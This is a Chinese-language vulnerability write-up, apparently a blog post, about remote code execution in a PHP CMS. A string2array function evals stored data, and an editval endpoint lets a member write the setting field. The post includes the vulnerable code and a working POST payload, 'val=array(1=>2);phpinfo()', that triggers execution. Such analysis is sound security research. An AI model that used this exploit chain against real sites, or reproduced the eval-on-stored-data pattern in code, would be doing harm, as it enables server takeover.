PHP…

0x01

任意代码执行

漏洞分析

漏洞出现在/include/helpers/global_helper.php的string2array函数

1
2
3
4
5
6
7
8
9
10
function string2array($data) {
if(is_array($data)) return $data;
if($data == '') return array();
if(!strexists(strtolower($data), 'array')) return array();
@ini_set('display_errors', 'on');
@eval("\$array = $data;");
@ini_set('display_errors', 'off');
$array = isset($array)?$array:array();
return is_array($array)?$array:array();
}

这里有一个eval的执行函数,只要可以控制\$data,就能达到任意代码执行了.
接下来寻找调用函数的地方,在/addons/vip/site.php中,许多函数都调用了string2array,但是这里的参数都是来自数据库中的,如果要利用的话,就需要先找到一个可以向数据库中写入的字段,同时也会被取出的字段,看到doWebeditval函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public function doWebeditval()
{
$arr = array();
$arr['success'] = 0;
$arr['val'] = '';
if ($this->input->post("dosubmit")){
//
$id = intval($this->input->post('id'));
$type = $this->input->post('type');
$isnum = $this->input->post('isnum');
$val = $this->input->post('val');
if ($isnum == 'yes') {
$val = intval($val);
}
$row = $this->ddb->getone("SELECT * FROM ".table('vip_content'), $this->merge(array('id'=>$id)));
if (empty($row)) {
$arr['message'] = '内容不存在';
echo json_encode($arr); exit();
}
if (!isset($row[$type])){
$arr['message'] = '参数错误';
echo json_encode($arr); exit();
}
if ($this->ddb->update(table('vip_content'), array($type=>$val), array('id'=>$id))){
$arr['success'] = 1;
$arr['message'] = '修改成功';
$arr['val'] = $val;
}else{
$arr['message'] = '修改失败';
}
echo json_encode($arr); exit();
}else{
$arr['message'] = '非法操作';
echo json_encode($arr); exit();
}
}

可以看到上面有一个update的更新数据的操作,更新的表是vip_contnet,并且这里的数据都是通过POST进行传递的,这样字段内容及就变成可控的了,接着寻找查询vip_content的函数,这里选择doWebcouponrelease函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
global $_A,$_GPC;
$ufrow = $this->ddb->getone("SELECT userdata FROM ".table("users_functions"), array('id'=>$_A['uf']['id']));
$userdata = string2array($ufrow['userdata']);
//
$id = intval($_GPC['param'][1]);
$row = array();
$subtitle = "发布";
if ($id > 0){
$row = $this->ddb->getone("SELECT * FROM ".table("vip_content"), $this->merge(array('type'=>'cut', 'id'=>intval($id))));
if (!empty($row)){
$row['startdate'] = date('Y-m-d', $row['startdate']);
$row['enddate'] = date('Y-m-d', $row['enddate']);
$row['setting'] = string2array($row['setting']);
$subtitle = "修改";
}else{
$id = 0;
}
}

可以看到这里从vip_content中查询数据,并且其中的setting字段被string2array处理,这里就能被利用了.


0x02

漏洞利用

首先注册一个会员,接着接入公众号,信息随便填


接下来选择会员卡功能,选择优惠券管理

紧接着发布优惠券


查看数据库中的信息

接着修改setting的值,首先获取优惠券的id
index.php/web/vip/couponrelease/4/?ui=2&al=1&uf=5
其中4就是id,利用editval进行修改
payload:
1
2
GET:index.php/web/vip/editval/?ui=2&al=1&uf=5
POST:id=4&dosubmit=1&type=setting&val=array(1=>2);phpinfo()

dosubmit是因为插入的时候做了if判断,提交后


编辑该优惠券


0x03

One’strom

在选择函数执行输出点的时候,由于都是从数据库中获取的数据,所以只有在编辑数据的时候,才能获取到,site.php中还有其它的函数也是这样的,都可以利用.

(ง •_•)ง